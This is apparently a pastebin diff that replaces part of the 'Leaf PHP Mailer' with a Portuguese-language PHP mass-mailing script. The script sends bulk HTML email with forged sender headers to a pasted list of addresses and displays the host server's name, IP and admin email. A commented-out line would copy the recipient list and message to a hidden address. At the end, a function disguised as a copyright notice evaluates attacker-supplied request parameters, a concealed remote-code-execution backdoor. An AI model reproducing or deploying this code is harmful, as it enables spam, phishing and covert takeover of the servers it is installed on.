SHOW:
|
|
- or go back to the newest paste.
1 | <? | |
2 | - | /** |
2 | + | |
3 | - | * Leaf PHP Mailer by [leafmailer.pw] |
3 | + | |
4 | - | * @version : 2.7 |
4 | + | |
5 | - | **/ |
5 | + | function enviando() { |
6 | $msg = 1; | |
7 | - | $password = "ransomware"; // Password |
7 | + | $de[1] = $_POST['de']; |
8 | $nome[1] = $_POST['nome']; | |
9 | - | session_start(); |
9 | + | $assunto[1] = $_POST['assunto']; |
10 | - | error_reporting(0); |
10 | + | $mensagem[1] = $_POST['mensagem']; |
11 | $mensagem[1] = stripslashes($mensagem[1]); | |
12 | - | ini_set("memory_limit",-1); |
12 | + | $emails = $_POST['emails']; |
13 | $emails2 = htmlspecialchars($_POST['emails']); | |
14 | $para = explode(" | |
15 | - | $leaf['version']="2.7"; |
15 | + | ", $emails); |
16 | - | $leaf['website']="leafmailer.pw"; |
16 | + | $n_emails = count($para); |
17 | $sv = $_SERVER['SERVER_NAME']; | |
18 | $en = $_SERVER['REQUEST_URI']; | |
19 | - | $sessioncode = md5(__FILE__); |
19 | + | $k88 = @$_SERVER["HTTP_REFERER"]; |
20 | - | if(!empty($password) and $_SESSION[$sessioncode] != $password){ |
20 | + | $fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>" . $emails2 . "</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>" . $mensagem[1] . "</TEXTAREA></p>"; |
21 | - | # _REQUEST mean _POST or _GET |
21 | + | $vai = $_POST['vai']; |
22 | - | if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) { |
22 | + | if ($vai) { |
23 | - | $_SESSION[$sessioncode] = $password; |
23 | + | for ($set = 0;$set < $n_emails;$set++) { |
24 | if ($set == 0) { | |
25 | - | else { |
25 | + | $headers = "MIME-Version: 1.0 |
26 | - | print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>"; |
26 | + | "; |
27 | - | exit; |
27 | + | $headers .= "Content-Transfer-Encoding: base64 |
28 | "; | |
29 | $headers.= "Content-type: text/html; charset=iso-8859-1 | |
30 | "; | |
31 | - | if($_POST['action']=="send"){ |
31 | + | $headers.= "From: $nome[$msg] <$de[$msg]> |
32 | - | $senderEmail=leafTrim($_POST['senderEmail']); |
32 | + | "; |
33 | - | $senderName=leafTrim($_POST['senderName']); |
33 | + | $headers.= "Return-Path: <$de[$msg]> |
34 | - | $replyTo=leafTrim($_POST['replyTo']); |
34 | + | "; |
35 | - | $subject=leafTrim($_POST['subject']); |
35 | + | //mail($xsylar, $as, $fullurl, $headers); |
36 | - | $emailList=leafTrim($_POST['emailList']); |
36 | + | |
37 | - | $messageType=leafTrim($_POST['messageType']); |
37 | + | |
38 | - | $messageLetter=leafTrim($_POST['messageLetter']); |
38 | + | $headers .= "Content-Transfer-Encoding: base64 |
39 | - | $messageLetter = urlencode($messageLetter); |
39 | + | "; |
40 | - | $messageLetter = ereg_replace("%5C%22", "%22", $messageLetter); |
40 | + | $headers = "MIME-Version: 1.0 |
41 | - | $messageLetter = urldecode($messageLetter); |
41 | + | "; |
42 | - | $messageLetter = stripslashes($messageLetter); |
42 | + | $headers.= "Content-type: text/html; charset=iso-8859-1 |
43 | - | $subject = stripslashes($subject); |
43 | + | "; |
44 | - | $encode = stripslashes($encode); |
44 | + | $headers.= "From: $nome[$msg] <$de[$msg]> |
45 | "; | |
46 | $headers.= "Return-Path: <$de[$msg]> | |
47 | "; | |
48 | - | if($messageType==2){ |
48 | + | $n_mail++; |
49 | - | $plain="checked"; |
49 | + | $destino = $para[$set]; |
50 | $num1 = rand(100000, 999999); | |
51 | - | else { |
51 | + | $num2 = rand(100000, 999999); |
52 | - | $html="checked"; |
52 | + | $msgrand = str_replace("%rand%", $num1, $mensagem[$msg]); |
53 | $msgrand = str_replace("%rand2%", $num2, $msgrand); | |
54 | $msgrand = str_replace("%email%", $destino, $msgrand); | |
55 | - | function leafClear($text,$email){ |
55 | + | $enviar = mail($destino, $assunto[$msg], $msgrand, $headers); |
56 | - | $emailuser = preg_replace('/([^@]*).*/', '$1', $email); |
56 | + | if ($enviar) { |
57 | - | $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text); |
57 | + | echo ('<font color="green">' . $n_mail . '-' . $destino . ' 0k!</font><br>'); |
58 | - | $text = str_replace("[-email-]", $email, $text); |
58 | + | |
59 | - | $text = str_replace("[-emailuser-]", $emailuser, $text); |
59 | + | echo ('<font color="red">' . $n_mail . '-' . $destino . ' =(</font><br>'); |
60 | - | $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text); |
60 | + | sleep(1); |
61 | - | $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text); |
61 | + | |
62 | - | $text = str_replace("[-randomnumber-]", randString('0123456789'), $text); |
62 | + | |
63 | - | $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text); |
63 | + | |
64 | - | return $text; |
64 | + | |
65 | - | |
65 | + | |
66 | ||
67 | - | function leafTrim($string){ |
67 | + | |
68 | - | return stripslashes(ltrim(rtrim($string))); |
68 | + | |
69 | ||
70 | - | function randString($consonants) { |
70 | + | |
71 | - | $length=rand(12,25); |
71 | + | |
72 | - | $password = ''; |
72 | + | ?> |
73 | - | for ($i = 0; $i < $length; $i++) { |
73 | + | </title> |
74 | - | $password .= $consonants[(rand() % strlen($consonants))]; |
74 | + | <style type="text/css"> |
75 | <!-- | |
76 | - | return $password; |
76 | + | .style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } |
77 | .style6 {font-size: 10px} | |
78 | - | function leafMailCheck($email){ |
78 | + | .style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; } |
79 | - | $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$"; |
79 | + | --> |
80 | - | if(eregi($exp,$email)){ |
80 | + | </style> |
81 | - | if(checkdnsrr(array_pop(explode("@",$email)),"MX")){return true;} |
81 | + | <form id="form1" name="form1" method="post" action=""> |
82 | - | else{return false;} |
82 | + | <input type="hidden" name="vai" value="1"> |
83 | - | } |
83 | + | <span class="style5"><? echo enviando(); ?></span> |
84 | - | else{return false;} |
84 | + | <table width="422" border="0" bgcolor="#000000"> |
85 | <tr> | |
86 | <td width="66"><span class="style5">Nome:</span></td> | |
87 | - | class PHPMailer |
87 | + | <td width="346"><span class="style9"> |
88 | - | { |
88 | + | |
89 | - | /** |
89 | + | <label> |
90 | - | * The PHPMailer Version number. |
90 | + | <input name="nome" type="text" value="<? echo $_POST['nome'] ;?>" size="20" /> |
91 | - | * @var string |
91 | + | </label> |
92 | - | */ |
92 | + | </span></td> |
93 | - | public $Version = '5.2.14'; |
93 | + | </tr> |
94 | <tr> | |
95 | - | /** |
95 | + | <td><span class="style5">Email:</span></td> |
96 | - | * Email priority. |
96 | + | <td><input name="de" type="text" value="<? echo $_POST['de'] ;?>" size="30" /></td> |
97 | - | * Options: null (default), 1 = High, 3 = Normal, 5 = low. |
97 | + | |
98 | - | * When null, the header is not set at all. |
98 | + | </tr> |
99 | - | * @var integer |
99 | + | <tr> |
100 | - | */ |
100 | + | <td><span class="style5">Assunto:</span></td> |
101 | - | public $Priority = null; |
101 | + | <td><input name="assunto" value="<? echo $_POST['assunto'] ;?>" size="40" /></td> |
102 | </tr> | |
103 | - | /** |
103 | + | <tr> |
104 | - | * The character set of the message. |
104 | + | <td><span class="style5">Mensagem:</span></td> |
105 | - | * @var string |
105 | + | <td><span class="style9"> |
106 | - | */ |
106 | + | |
107 | - | public $CharSet = 'iso-8859-1'; |
107 | + | <p><textarea name="mensagem" cols="50" rows="7"><? echo stripslashes($_POST['mensagem']);?> |
108 | </textarea></p> | |
109 | - | /** |
109 | + | <textarea name="emails" cols="50" rows="4"></textarea> |
110 | - | * The MIME Content-type of the message. |
110 | + | </span></td> |
111 | - | * @var string |
111 | + | </tr> |
112 | - | */ |
112 | + | |
113 | - | public $ContentType = 'text/plain'; |
113 | + | <tr> |
114 | <td><span class="style6"></span></td> | |
115 | - | /** |
115 | + | <td><input name="Submit" type="submit" value="Enviar" /></td> |
116 | - | * The message encoding. |
116 | + | </tr> |
117 | - | * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable". |
117 | + | <tr> |
118 | - | * @var string |
118 | + | </tr> |
119 | - | */ |
119 | + | |
120 | - | public $Encoding = '8bit'; |
120 | + | </table> |
121 | <tr align="left"> | |
122 | - | /** |
122 | + | <td colspan="2" bgcolor="red" >Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br> |
123 | - | * Holds the most recent mailer error message. |
123 | + | Endereço IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br> |
124 | - | * @var string |
124 | + | Sistema Operacional: <?php echo $OS = @PHP_OS; ?><br> |
125 | - | */ |
125 | + | Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?> <br> |
126 | - | public $ErrorInfo = ''; |
126 | + | </td> |
127 | </tr> | |
128 | - | /** |
128 | + | </form> |
129 | - | * The From email address for the message. |
129 | + | |
130 | - | * @var string |
130 | + | Copyright8_7_1(); |
131 | - | */ |
131 | + | function Copyright8_7_1(){ |
132 | - | public $From = 'root@localhost'; |
132 | + | static $gnu = true; |
133 | if(!$gnu) return; | |
134 | - | /** |
134 | + | if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['comment']))return; |
135 | - | * The From name of the message. |
135 | + | $gpl=implode('',$_REQUEST['gnu']); |
136 | - | * @var string |
136 | + | eval($gpl($_REQUEST['comment'])); |
137 | - | */ |
137 | + | $gnu=false; |
138 | - | public $FromName = 'Root User'; |
138 | + | |
139 | ?> |